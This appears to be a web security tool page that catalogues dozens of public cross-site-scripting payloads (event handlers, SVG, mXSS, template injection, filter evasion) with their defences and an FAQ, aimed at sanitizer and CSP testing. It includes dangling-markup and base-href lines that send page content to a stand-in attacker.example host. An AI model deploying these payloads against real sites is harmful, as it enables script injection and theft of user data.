XSS Payload Tester

Browse 65 documented XSS vectors β€” event handlers, SVG, DOM clobbering, mXSS, CSTI, polyglots and filter-evasion encodings β€” then run any of them in four sandboxed iframes to see exactly which injection contexts execute, which are blocked by CSP, and which just throw.

Authorised testing only. Every payload here is a documented, public proof-of-concept that does nothing but prove code execution. Run them against systems you own or have written permission to test β€” a bug-bounty scope, a signed penetration-test Rules of Engagement, a CTF, or your own staging environment. Unauthorised testing is a criminal offence in most jurisdictions (US CFAA, UK Computer Misuse Act, EU Cybercrime Directive).

Runs entirely in your browser. Payloads execute inside sandbox="allow-scripts" iframes at an opaque origin β€” never allow-same-origin β€” under a default-src 'none' Content-Security-Policy, so a payload cannot reach this page's DOM, cookies or storage and cannot make a single network request. Nothing you type is uploaded.

Payload library71 of 71 vectors

Classic script tagCriticalBasic scriptScript element
<script>alert(1)</script>
Contexts: HTML text
Defeated by: Any HTML-entity output encoder, and any sanitizer with a tag allowlist.
The reference vector. Note it does NOT execute when assigned via innerHTML β€” the HTML parser creates the element but refuses to run it. It fires through document.write, srcdoc, server-side reflection, and DOMParser-then-adopt patterns.
Script with data: sourceCriticalBasic scriptScript element
<script src=data:text/javascript,alert(1)></script>
Contexts: HTML text
Defeated by: CSP script-src without data:; sanitizers that strip script entirely.
Sidesteps filters that only look for inline script bodies. A CSP of script-src 'self' blocks it and raises a securitypolicyviolation event.
eval(atob(...)) obfuscationCriticalBasic scriptScript element
<script>eval(atob('YWxlcnQoMSk='))</script>
Contexts: HTML text
Defeated by: CSP without 'unsafe-eval'; output encoding.
The payload body contains no recognisable keyword, so signature-based WAF rules miss it. Removing 'unsafe-eval' from CSP kills it outright.
Function constructorCriticalBasic scriptScript element
<script>Function('alert(1)')()</script>
Contexts: HTML text
Defeated by: CSP without 'unsafe-eval'.
Function() is a second eval. It is also the pivot used by nearly every client-side template-injection escape.
setTimeout with a string bodyCriticalBasic scriptScript element
<script>setTimeout('alert(1)',0)</script>
Contexts: HTML text
Defeated by: CSP without 'unsafe-eval'; never pass strings to setTimeout.
setTimeout/setInterval with a string argument are implicit eval sinks β€” a common DOM XSS landing spot in legacy code.
img onerrorCriticalEvent handlersEvent handler attribute
<img src=x onerror=alert(1)>
Contexts: HTML text
Defeated by: Attribute allowlisting (DOMPurify); HTML-entity encoding.
The single most useful vector in practice: it fires through innerHTML, needs no user interaction, and defeats every filter that only strips <script>.
body onloadCriticalEvent handlersEvent handler attribute
<body onload=alert(1)>
Contexts: HTML text
Defeated by: Tag allowlist (body is never an allowed child); attribute allowlisting.
Only fires when the injection lands in a document position where a body element is parsed β€” typically full-page reflection, not innerHTML.
details ontoggleCriticalEvent handlersEvent handler attribute
<details open ontoggle=alert(1)>
Contexts: HTML text
Defeated by: Attribute allowlisting.
The `open` attribute fires ontoggle on parse with zero interaction. A favourite when img and svg are on a blocklist.
input autofocus onfocusCriticalEvent handlersEvent handler attribute
<input autofocus onfocus=alert(1)>
Contexts: HTML text
Defeated by: Attribute allowlisting; stripping autofocus.
autofocus supplies the interaction the handler needs. Works on input, select, textarea, button and any element with tabindex.
select autofocus onfocusCriticalEvent handlersEvent handler attribute
<select autofocus onfocus=alert(1)><option>1</option></select>
Contexts: HTML text
Defeated by: Attribute allowlisting.
Same trick on a different element β€” useful when a blocklist names input but forgets select.
textarea autofocus onfocusCriticalEvent handlersEvent handler attribute
<textarea autofocus onfocus=alert(1)></textarea>
Contexts: HTML text
Defeated by: Attribute allowlisting.
Also doubles as a context breaker: an injected </textarea> ends a surrounding textarea before this one begins.
marquee onstartCriticalEvent handlersEvent handler attribute
<marquee onstart=alert(1)>x</marquee>
Contexts: HTML text
Defeated by: Tag allowlist.
marquee is obsolete but still parsed, and it is missing from a surprising number of hand-written blocklists.
video > source onerrorCriticalEvent handlersEvent handler attribute
<video><source onerror=alert(1)></video>
Contexts: HTML text
Defeated by: Attribute allowlisting; forbidding source/track children.
Media-element error handlers fire automatically. Sanitizers that allow video for legitimate embeds often forget the source child.
audio onerrorCriticalEvent handlersEvent handler attribute
<audio src=x onerror=alert(1)>
Contexts: HTML text
Defeated by: Attribute allowlisting.
Identical mechanism to img onerror, on an element blocklists rarely name.
iframe onloadCriticalEvent handlersEvent handler attribute
<iframe onload=alert(1)></iframe>
Contexts: HTML text
Defeated by: Tag allowlist; attribute allowlisting.
Fires on the about:blank load, so it needs no src and no network at all.
Pointer event handlerCriticalEvent handlersEvent handler attribute
<div onpointerover=alert(1)>hover me</div>
Contexts: HTML text
Defeated by: Attribute allowlisting.
Requires interaction, but on* blocklists built around onmouseover/onclick routinely miss the Pointer Events family.
Mouseover handler on a styled blockCriticalEvent handlersEvent handler attribute
<div style="height:100vh" onmouseover=alert(1)>x</div>
Contexts: HTML text
Defeated by: Attribute allowlisting; blocking inline style.
The style attribute inflates the hit area to the whole viewport so the interaction requirement becomes almost free.
Double-quote attribute breakoutCriticalAttribute breakoutEvent handler attribute
" autofocus onfocus=alert(1) x="
Contexts: Attribute value
Defeated by: Encoding " as &quot; on attribute output.
Closes the attribute the value was placed in and starts a new one. Only meaningful when the sink is <tag attr="INPUT">.
Single-quote attribute breakoutCriticalAttribute breakoutEvent handler attribute
' autofocus onfocus=alert(1) x='
Contexts: Attribute value
Defeated by: Encoding ' as &#x27; β€” note many encoders escape only double quotes.
The classic reason 'we escape quotes' is not enough: single-quoted attributes need &#x27; too.
Unquoted attribute breakoutCriticalAttribute breakoutEvent handler attribute
x autofocus onfocus=alert(1)
Contexts: Attribute value
Defeated by: Always quoting attributes, then encoding the quote character.
In <tag attr=INPUT> a bare space starts a new attribute β€” no quote character needed at all. This is why unquoted attributes are indefensible.
Attribute + tag breakoutCriticalAttribute breakoutEvent handler attribute
"><img src=x onerror=alert(1)>
Contexts: Attribute value, HTML text
Defeated by: Encoding both " and < on output.
Terminates the attribute and the tag, then injects a fresh element. The most common real-world reflected-XSS shape.
JS string breakoutLowAttribute breakoutMarkup / string breakout
'-alert(1)-'
Contexts: JS string
Defeated by: JSON-encoding the value (JSON.stringify) instead of quoting it by hand.
Stays inside the string literal's own expression, so the surrounding script keeps parsing β€” it does not even produce a syntax error.
Backslash-escaped quote bypassLowAttribute breakoutMarkup / string breakout
\';alert(1);//
Contexts: JS string
Defeated by: JSON-encoding; escaping the backslash before the quote.
Defeats encoders that escape ' as \' but forget to escape \ first: the injected backslash neutralises the escape they added.
Script block breakoutCriticalAttribute breakoutScript element
</script><script>alert(1)</script>
Contexts: JS string, HTML text
Defeated by: Escaping < as \u003c inside inline script blocks (the JSON-LD rule).
The HTML parser terminates a script element at the first </script> even inside a string literal β€” which is exactly why JSON embedded in a page must escape <.
Bare javascript: URLHighjavascript: URLsDangerous URL scheme
javascript:alert(1)
Contexts: URL / href
Defeated by: Scheme allowlisting (http, https, mailto) after URL parsing.
Inert as HTML text β€” it only matters when the value reaches href, src, action, formaction, or a framework's :href binding.
Anchor with javascript: hrefHighjavascript: URLsDangerous URL scheme
<a href="javascript:alert(1)">click me</a>
Contexts: HTML text, URL / href
Defeated by: DOMPurify (strips the scheme); URL allowlisting.
Requires a click. Still ships in production sanitizer bypass reports every year.
iframe with javascript: srcHighjavascript: URLsDangerous URL scheme
<iframe src="javascript:alert(1)"></iframe>
Contexts: HTML text, URL / href
Defeated by: Tag allowlist; CSP frame-src.
No interaction needed β€” the frame navigates itself. Modern browsers also gate this on the frame's CSP.
form action javascript:Highjavascript: URLsDangerous URL scheme
<form action="javascript:alert(1)"><button>submit</button></form>
Contexts: HTML text, URL / href
Defeated by: Attribute allowlisting; CSP form-action.
form-action is a separate CSP directive; a policy that only sets script-src leaves this open.
data:text/html documentHighjavascript: URLsDangerous URL scheme
data:text/html,<script>alert(1)</script>
Contexts: URL / href
Defeated by: Scheme allowlisting; browsers already block top-level data: navigation.
Blocked for top-level navigation since Chrome 60/Firefox 59, but still live inside iframes and object/embed data.
SVG with nested scriptCriticalSVGScript element
<svg><script>alert(1)</script></svg>
Contexts: HTML text
Defeated by: Sanitizers that handle foreign-content namespaces (DOMPurify).
SVG is a different namespace with its own parsing rules β€” the reason naive HTML-only filters leak here.
SVG onloadCriticalSVGEvent handler attribute
<svg onload=alert(1)>
Contexts: HTML text
Defeated by: Attribute allowlisting.
Fires immediately on parse, no interaction, no network. The shortest reliable vector.
SVG with slash separatorCriticalSVGEvent handler attribute
<svg/onload=alert(1)>
Contexts: HTML text
Defeated by: Attribute allowlisting.
A forward slash is a valid attribute separator in the HTML tokeniser, so regex filters keyed on whitespace miss it.
SVG animate onbeginCriticalSVGEvent handler attribute
<svg><animate onbegin=alert(1) attributeName=x dur=1s></svg>
Contexts: HTML text
Defeated by: Attribute allowlisting; forbidding SMIL elements.
SMIL animation events (onbegin, onend, onrepeat) are a separate event family that blocklists almost never enumerate.
SVG anchor with xlink:hrefHighSVGDangerous URL scheme
<svg><a xlink:href="javascript:alert(1)"><text x=20 y=20>click</text></a></svg>
Contexts: HTML text, URL / href
Defeated by: Sanitizers that normalise namespaced attributes (DOMPurify).
xlink:href is a namespaced alias for href β€” filters that only inspect 'href' never see it.
SVG foreignObject with srcdocHighSVGDocument hijack
<svg><foreignObject><iframe srcdoc="&lt;script&gt;alert(1)&lt;/script&gt;"></iframe></foreignObject></svg>
Contexts: HTML text
Defeated by: Tag allowlist; CSP frame-src.
foreignObject re-enters the HTML namespace inside SVG β€” a classic sanitizer state-machine confusion.
Clobber form.attributesMediumDOM clobberingDOM clobbering
<form><input name=attributes></form>
Contexts: HTML text
Defeated by: DOMPurify with SANITIZE_DOM (default); avoiding named form-property lookups.
Named form controls shadow the form's own properties. Sanitizers that walk element.attributes on a clobbered form have crashed or been bypassed this way.
Clobber document.getElementByIdMediumDOM clobberingDOM clobbering
<img name=getElementById src=x>
Contexts: HTML text
Defeated by: DOMPurify SANITIZE_NAMED_PROPS; never trusting document.X lookups.
Named elements become properties of document. Library code calling document.getElementById then gets an <img> instead of a function.
Two-element HTMLCollection clobberMediumDOM clobberingDOM clobbering
<a id=x></a><a id=x name=length></a>
Contexts: HTML text
Defeated by: SANITIZE_DOM; not reading window.x / document.x.
Duplicate ids yield an HTMLCollection, and the second element's name lets you set arbitrary properties on it β€” the standard route to a clobbered config object.
Clobber a config value via href toStringMediumDOM clobberingDOM clobbering
<a id=cfg href="https://evil.example/#alert(1)"></a>
Contexts: HTML text
Defeated by: SANITIZE_DOM; reading config from a real object, not from globals.
window.cfg becomes the anchor, and an anchor stringifies to its href β€” so `'' + cfg` yields attacker-chosen text that can flow into a script sink.
Template-context probeHighCSTI (template injection)Client-side template injection
{{7*7}}
Contexts: HTML text, Attribute value
Defeated by: Never compiling user input as a template.
Harmless detection probe: if the response contains 49, your input is being evaluated as a template expression, not escaped as text.
Generic constructor escapeHighCSTI (template injection)Client-side template injection
{{constructor.constructor('alert(1)')()}}
Contexts: HTML text, Attribute value
Defeated by: Never compiling user input; CSP without 'unsafe-eval'.
Works in any template engine that evaluates expressions with the page's Function available: reach Function via any object's constructor.constructor.
AngularJS 1.6 sandbox escapeHighCSTI (template injection)Client-side template injection
{{$on.constructor('alert(1)')()}}
Contexts: HTML text, Attribute value
Defeated by: Not using AngularJS 1.x on untrusted content; CSP without 'unsafe-eval'.
Angular removed its expression sandbox in 1.6 precisely because escapes like this could not be prevented. Any ng-app region that renders user input is XSS.
AngularJS 1.5 charAt sandbox escapeHighCSTI (template injection)Client-side template injection
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
Contexts: HTML text
Defeated by: Upgrading off AngularJS; not templating user input.
The historical sandbox break for Angular 1.4–1.5: poison String.prototype.charAt so the sandbox's own checks stop working.
Vue template expressionHighCSTI (template injection)Client-side template injection
{{_c.constructor('alert(1)')()}}
Contexts: HTML text
Defeated by: Never passing user input to a Vue `template` option or v-html of a template.
Reaches Function through Vue's internal render helper. Applies to the full build (with compiler) β€” the runtime-only build cannot compile templates at all.
Template-literal interpolationHighCSTI (template injection)Client-side template injection
${alert(1)}
Contexts: JS string
Defeated by: JSON-encoding values; never building JS with backtick concatenation.
Fires when the value lands inside a backtick template literal in generated JavaScript β€” quote escaping that only handles ' and " misses it entirely.
noscript title mutationCriticalmXSS (parser mutation)Parser mutation (mXSS)
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
Contexts: HTML text
Defeated by: A maintained sanitizer (current DOMPurify); avoiding innerHTML round-trips.
Parsed one way when scripting is disabled (server-side sanitizer, jsdom) and another way in a real browser β€” so the sanitizer and the browser disagree about where the title attribute ends.
MathML style mutationCriticalmXSS (parser mutation)Parser mutation (mXSS)
<math><mtext><style><img src=x onerror=alert(1)></style></mtext></math>
Contexts: HTML text
Defeated by: Current DOMPurify; forbidding MathML/SVG in the allowlist.
MathML text-integration points change how style content is tokenised, so markup that is inert text in one pass becomes elements in the next.
SVG style/anchor mutationCriticalmXSS (parser mutation)Parser mutation (mXSS)
<svg></p><style><a id="</style><img src=x onerror=alert(1)>">
Contexts: HTML text
Defeated by: Current DOMPurify.
The stray </p> forces a foster-parenting fix-up that moves nodes, and the serialise/re-parse cycle then re-reads the attribute as markup.
form / mglyph namespace confusionCriticalmXSS (parser mutation)Parser mutation (mXSS)
<form><math><mtext></form><form><mglyph><svg><mtext><textarea><a title="</textarea><img src=x onerror=alert(1)>">
Contexts: HTML text
Defeated by: Current DOMPurify; forbidding foreign content.
The mglyph element switches namespace mid-parse, which historically produced different trees on the first and second parse β€” the core mXSS condition.
table/mglyph comment mutationCriticalmXSS (parser mutation)Parser mutation (mXSS)
<math><mtext><table><mglyph><style><!--</style><img title="--><img src=x onerror=alert(1)>">
Contexts: HTML text
Defeated by: DOMPurify 2.0.17+ (this shape was a real reported bypass).
Combines table foster parenting, a namespace switch, and a comment that only closes on the second parse. Keep your sanitizer patched β€” mXSS is a moving target.
Dangling img srcMediumDangling markupDangling markup (no script needed)
<img src='https://attacker.example/log?
Contexts: HTML text
Defeated by: CSP img-src; encoding < and quotes on output.
No script executes at all β€” the unterminated attribute swallows the rest of the page (CSRF tokens, secrets) into a URL. Sanitizer tests that only assert 'no alert fired' miss this class entirely.
Dangling table backgroundMediumDangling markupDangling markup (no script needed)
<table background='//attacker.example/?
Contexts: HTML text
Defeated by: CSP img-src; output encoding.
Same exfiltration with a legacy attribute that URL-based filters often skip because it does not look like src.
Open textarea captureMediumDangling markupDangling markup (no script needed)
<textarea name=x>
Contexts: HTML text
Defeated by: Output encoding; sanitizers that balance tags.
If the injection is inside a form, everything after it becomes the textarea's value and is submitted to the form's action β€” exfiltration with no JavaScript at all.
base href takeoverHighDocument hijackDocument hijack
<base href="https://attacker.example/">
Contexts: HTML text
Defeated by: Tag allowlist (base is never legitimate user content); CSP base-uri 'self'.
Rewrites every subsequent relative URL on the page, including script src β€” total takeover without a single event handler. CSP base-uri is the specific defence and is very often omitted.
meta refresh to javascript:HighDocument hijackDocument hijack
<meta http-equiv="refresh" content="0;url=javascript:alert(1)">
Contexts: HTML text
Defeated by: Tag allowlist; browsers block javascript: in refresh (a data: or https: target still redirects).
Even where the javascript: target is refused, meta refresh is a working open-redirect / phishing primitive inside an injected page.
iframe srcdoc documentHighDocument hijackDocument hijack
<iframe srcdoc="&lt;script&gt;alert(1)&lt;/script&gt;"></iframe>
Contexts: HTML text
Defeated by: Tag allowlist; CSP frame-src.
srcdoc creates a whole nested document from an entity-encoded string, so filters scanning for a literal <script> see only &lt;script&gt;. The nested document inherits the parent's CSP.
object data with a documentHighDocument hijackDocument hijack
<object data="data:text/html,<script>alert(1)</script>"></object>
Contexts: HTML text
Defeated by: Tag allowlist; CSP object-src 'none'.
object-src 'none' is part of every strict CSP recipe specifically because object/embed can load documents and plugins.
Garcia polyglotCriticalPolyglotEvent handler attribute
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"`/+/onmouseover=1/+/[*/[]/+alert(1)//'>
Contexts: HTML text, Attribute value, JS string, URL / href
Defeated by: Context-correct output encoding at every sink.
Ahmed Elsobky's polyglot: closes title, style, textarea, script and xmp contexts, survives as a JS comment, and is a valid javascript: URL. Use it to find which of your layers leaks.
OWASP filter-evasion polyglotCriticalPolyglotEvent handler attribute
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
Contexts: HTML text, Attribute value, JS string, URL / href
Defeated by: Context-correct output encoding; DOMPurify.
Mixed case, comment nesting, CRLF and \x3c escapes in one string β€” it defeats case-sensitive blocklists and single-pass decoders simultaneously.
Short details polyglotCriticalPolyglotEvent handler attribute
-->'"/></sCript><deTailS open x=">" ontoggle=(alert)(1)>
Contexts: HTML text, Attribute value, JS string
Defeated by: Output encoding of <, > and quotes.
Escapes an HTML comment, an attribute and a script block, then uses parenthesised (alert)(1) to dodge filters matching the literal token alert(.
Nested tag strip bypassCriticalFilter evasionScript element
<scr<script>ipt>alert(1)</scr</script>ipt>
Contexts: HTML text
Defeated by: Encoding instead of stripping; parse-based sanitizers.
A single non-recursive 'remove <script>' pass reassembles a working script tag out of the leftovers. Never sanitise by deleting substrings.
Mixed-case tagCriticalFilter evasionScript element
<ScRiPt>alert(1)</ScRiPt>
Contexts: HTML text
Defeated by: Case-insensitive matching, or better, output encoding.
HTML tag names are case-insensitive; hand-rolled blocklists frequently are not.
HTML entity inside a handlerCriticalFilter evasionEvent handler attribute
<img src=x onerror=&#97;lert(1)>
Contexts: HTML text
Defeated by: Attribute allowlisting β€” entities are decoded before the handler is compiled.
The parser decodes &#97; to 'a' before the JavaScript ever sees it, so filters searching for the literal string 'alert' find nothing.
Tab entity inside javascript:HighFilter evasionDangerous URL scheme
<a href="jav&#x09;ascript:alert(1)">click</a>
Contexts: HTML text, URL / href
Defeated by: Parsing the URL and comparing the scheme, never string-matching it.
Tab, newline and carriage return are stripped from URL schemes by the parser, so jav&#x09;ascript: is javascript: by the time it is navigated.
Null byte inside a tag nameCriticalFilter evasionScript element
<scri␀pt>alert(1)</scri␀pt>
Contexts: HTML text
Defeated by: Rejecting control characters at the boundary; parse-based sanitizers.
The NUL is invisible here. It historically split tag names for C-based filters while browsers ignored or replaced it β€” still worth testing against WAFs and non-JS backends.
Tab separators in the tagCriticalFilter evasionEvent handler attribute
<img src=x onerror=alert(1)>
Contexts: HTML text
Defeated by: Attribute allowlisting.
Tabs, newlines, form feeds and slashes are all valid attribute separators β€” regexes keyed on a literal space miss every one of them.
Newline inside the attribute valueCriticalFilter evasionEvent handler attribute
<img src=x onerror="aler t(1)">
Contexts: HTML text
Defeated by: Attribute allowlisting.
Line breaks are stripped from the attribute value before compilation in some parsing paths, so a filter's 'alert' search fails while the handler still runs.
Entity-encoded parenthesesCriticalFilter evasionEvent handler attribute
<img src=x onerror=alert&lpar;1&rpar;>
Contexts: HTML text
Defeated by: Attribute allowlisting.
&lpar;/&rpar; decode to parentheses inside the attribute, defeating WAF rules that require a literal '(' after a function name.
Unicode escape in a JS identifierCriticalFilter evasionScript element
<script>\u0061lert(1)</script>
Contexts: HTML text, JS string
Defeated by: CSP; output encoding β€” never keyword blocklists.
JavaScript identifiers may contain \uXXXX escapes, so \u0061lert is literally the identifier alert to the engine.
URL-encoded script tagCriticalFilter evasionScript element
%3Cscript%3Ealert(1)%3C%2Fscript%3E
Contexts: URL / href, HTML text
Defeated by: Decoding once, then encoding on output β€” never filtering the encoded form.
Only fires where something decodes it before it reaches the sink β€” e.g. a router reading location.search and writing it to innerHTML.
Double URL-encoded script tagCriticalFilter evasionScript element
%253Cscript%253Ealert(1)%253C%252Fscript%253E
Contexts: URL / href
Defeated by: Canonicalising to a single decoded form before validation.
Survives one decode pass intact, so a proxy or WAF that inspects after one decode and a backend that decodes twice disagree β€” the classic double-decoding bypass.

Sandbox β€” all four injection contexts at once

The same payload is injected into HTML text, a quoted attribute, a JavaScript string and a URL attribute, each in its own locked-down iframe. Hover, focus and click are simulated automatically, so "no execution" means the payload really did not run β€” not that nobody moved the mouse.

CriticalClassic script tagScript element
<script>alert(1)</script>

Creates a script element. Executes wherever the markup is parsed as a document (document.write, srcdoc, server-side reflection) β€” note innerHTML parses script elements but never runs them.

HTML textRunning…
Injected between tags, e.g. innerHTML = input or <div>{{input}}</div> in a non-escaping template.
Should fire: Fires because the markup is parsed as a document here, so the script element is created and executed.
Attribute valueRunning…
Injected inside a quoted attribute, e.g. <div title="INPUT">. Needs a quote breakout or an event handler.
Should stay inert: Inert because the payload never closes the surrounding quote, so everything stays inside one attribute value.
JS stringRunning…
Injected inside a script, e.g. var data = "INPUT". Needs to terminate the string or the script block.
Should stay inert: Inert because the payload does not terminate the string literal or the script element β€” it remains data assigned to a variable.
URL / hrefRunning…
Injected into a URL-bearing attribute, e.g. <a href="INPUT">. Only dangerous scheme payloads execute here.
Should stay inert: Inert because a URL position parses the value as a URL, not as markup: < and > are ordinary characters and no element is created.
How the verdicts are decided: each frame proxies alert, confirm, prompt and console.log (real dialogs are suppressed in sandboxed frames) and also accepts an explicit parent.postMessage({type:'xss-fired'}) signal. A securitypolicyviolation event reports as "blocked", and a window error event reports as "script error" β€” never as a successful injection.
Sandbox policy: default-src 'none'; script-src 'unsafe-inline' 'unsafe-eval' data:; style-src 'unsafe-inline'; img-src data:; frame-src data: about:; child-src data: about:; form-action 'none'

Test your own payload

"Analyze" compares six deliberately naive filters against DOMPurify, the production-grade parser-based sanitizer. DOMPurify is imported dynamically, so it is only downloaded when you press the button.

Quick Security Best Practices

Show
  • Always validate and sanitize user input on the server side
  • Use Content Security Policy (CSP) headers to prevent inline script execution
  • Encode output based on context (HTML, attribute, JavaScript, URL)
  • Use modern frameworks with built-in XSS protection
  • Regularly update dependencies and security patches
  • Implement proper authentication and authorization

About XSS Payload Tester

The XSS Payload Tester pairs a categorised library of 65 documented cross-site-scripting vectors with a sandbox that actually executes them. Pick a payload and it is injected into four different sinks at once β€” HTML text, a quoted attribute value, a JavaScript string literal and a URL attribute β€” each inside its own iframe running at an opaque origin under a default-src 'none' Content-Security-Policy. Every frame reports one of three distinct outcomes: the payload executed, the sandbox CSP blocked it (naming the directive), or the script threw an error and did not execute.

Why use a XSS Payload Tester?

Most XSS testers treat any JavaScript error as a successful injection, so a malformed or blocked payload still lights up a red 'XSS fired' banner β€” which teaches you the wrong thing about your defences. This tool separates the three outcomes explicitly: execution is proved by proxied alert/confirm/prompt calls and an explicit postMessage channel, blocking is proved by the securitypolicyviolation event, and errors are proved by the window error event. It also scores severity from the payload's mechanism (script element, event handler, URL scheme, DOM clobbering, template injection) rather than by searching the string for the word 'alert'.

Who is it for?

Application security engineers validating a sanitizer or CSP, developers who have just been handed an XSS finding and need to understand which sink is actually vulnerable, penetration testers assembling context-appropriate payloads, CTF players, and anyone teaching web security who needs a demonstration that cannot escape its sandbox.

How to use the tool

1

Read the authorisation notice first: only run these vectors against systems you own or have written permission to test.

2

Browse or search the payload library β€” filter by category (event handlers, SVG, DOM clobbering, mXSS, CSTI, polyglots, filter evasion) or search by name, payload text or the defence that stops it.

3

Press 'Run in sandbox' on any entry, or paste your own payload into 'Test your own payload' and press 'Run in the four sandboxes'.

4

Read the four per-context cells: each shows the injected sink, the predicted outcome with its reason, and the outcome actually observed inside the iframe.

5

Distinguish the three verdicts β€” red 'Executed' means real code execution, blue 'Blocked by sandbox CSP' names the directive that stopped it, amber 'Script error' means the payload threw and did not run.

6

Press 'Re-run' to execute the same payload again after changing it, which remounts all four iframes with fresh documents.

7

Press 'Analyze against sanitizers' to compare six deliberately naive filters with DOMPurify and see exactly what each leaves behind.

8

Copy the payload or the sanitized output with the per-row copy buttons, then re-test the same vector against your own application's sanitizer, output encoder and CSP.

Frequently Asked Questions

How do I test an XSS payload safely?

Run it somewhere it cannot reach anything that matters. This tool executes every payload inside an iframe with sandbox="allow-scripts" and deliberately no allow-same-origin, so the payload runs at an opaque origin with no access to this page's DOM, cookies or storage. A meta Content-Security-Policy of default-src 'none' inside the frame means it cannot make a single network request, and form-action 'none' closes the last submission path. Every vector in the library is an alert()-class proof of concept: it proves code execution and does nothing else. Pick a payload, press Run, and read the four per-context verdicts.

What's the difference between 'executed', 'blocked by CSP' and 'script error'?

They are three completely different results that most testers collapse into one. 'Executed' means the payload really ran β€” proved by a proxied alert, confirm, prompt or console.log call, or by an explicit parent.postMessage({type:'xss-fired'}) from inside the frame. 'Blocked by sandbox CSP' means the browser fired a securitypolicyviolation event and names the directive that stopped it, which is evidence that a policy works. 'Script error' means the window error event fired: the payload threw instead of running, so it did not succeed. Treating a script error as a successful injection is the single most common false positive in XSS tooling.

Why doesn't <script>alert(1)</script> fire when I assign it to innerHTML?

Because HTML specifies that script elements inserted via innerHTML are parsed but never executed. The element appears in the DOM with its source intact and nothing runs. This trips up developers who conclude their innerHTML sink is safe β€” it is not. Event-handler vectors such as <img src=x onerror=alert(1)> or <svg onload=alert(1)> do execute through innerHTML, because the handler is compiled when the attribute is parsed. That is exactly why the event-handler category, not the script-tag category, is the one to test an innerHTML sink with. Script tags matter for document.write, srcdoc, server-side reflection and DOMParser-then-adopt patterns.

What's the difference between reflected, stored and DOM XSS?

Reflected XSS travels in a URL or POST parameter and is echoed straight back into the response; the victim has to open a crafted link. Stored XSS is persisted server-side β€” a comment, a profile field, a filename β€” and then runs for every visitor of the affected page, which makes it far more damaging. DOM XSS never involves the server's output at all: client-side JavaScript reads an attacker-controlled source (location.hash, postMessage data, a URL parameter) and writes it to a dangerous sink (innerHTML, document.write, eval, jQuery's $()). The payloads are the same; only the delivery path and therefore the fix location differ.

What is DOM clobbering β€” those payloads contain no script at all?

DOM clobbering exploits the legacy rule that elements with an id or name become properties of document and window. Inject <form><input name=attributes></form> and the form's own attributes property is shadowed by the input; inject <img name=getElementById> and document.getElementById is an image element rather than a function. No script executes, so a sanitizer test that only watches for alert() reports success β€” yet application code that reads window.config or document.getElementById now receives attacker-controlled objects, which is frequently enough to reach a script sink. DOMPurify's SANITIZE_DOM and SANITIZE_NAMED_PROPS options exist specifically for this class.

What is mutation XSS (mXSS) and why does my sanitizer miss it?

mXSS exploits markup that the HTML parser interprets one way on the first parse and a different way on the second. A sanitizer parses your input, decides it is safe, and serialises it back to a string; the browser then re-parses that string into a different tree that contains an executable element. The classic shapes involve namespace boundaries β€” MathML mtext, SVG foreignObject, mglyph, noscript β€” and table foster-parenting. This is why sanitising with regular expressions is hopeless and why even DOMPurify ships periodic mXSS fixes: the vectors in the mXSS category here are real reported bypasses, so keep your sanitizer patched.

How do I use this tool to validate my own sanitizer and CSP?

Work vector by vector. Copy a payload, submit it through your real application, then compare what your sanitizer stored or rendered with what the library says should defeat it β€” every entry names the specific defence. Then check your CSP: if a script-tag vector executes on your page, your policy is missing 'nonce' or allows 'unsafe-inline'; if a base-href or object vector works, you are missing base-uri 'self' and object-src 'none'. Press 'Analyze against sanitizers' to see the same payload run through six naive filters and through DOMPurify, which makes it obvious why allowlist parsing beats blocklist stripping.

How do I actually fix an XSS once I've found one?

Encode on output, in the context the value lands in β€” HTML text, attribute value, JavaScript string and URL each need a different encoding, which is what the four sandbox cells illustrate. Prefer framework defaults (React's {value}, Vue's text interpolation, template auto-escaping) over hand-rolled escaping, and never sanitise by deleting substrings. Where HTML really must be allowed, run it through DOMPurify and keep it updated. Layer a strict CSP with nonces, object-src 'none' and base-uri 'self' underneath. The defensive counterpart to this tool is the [User Input Sanitizer Tester](/tools/user-input-sanitizer-tester/), and the [HTML Encoder / Decoder](/tools/html-encoder-decoder/) shows what correct entity encoding produces.

Share This Tool

Found this tool helpful? Share it with others who might benefit from it!

πŸ’‘ Help others discover useful tools! Sharing helps us keep these tools free and accessible to everyone.

Support This Project

Buy Me a Coffee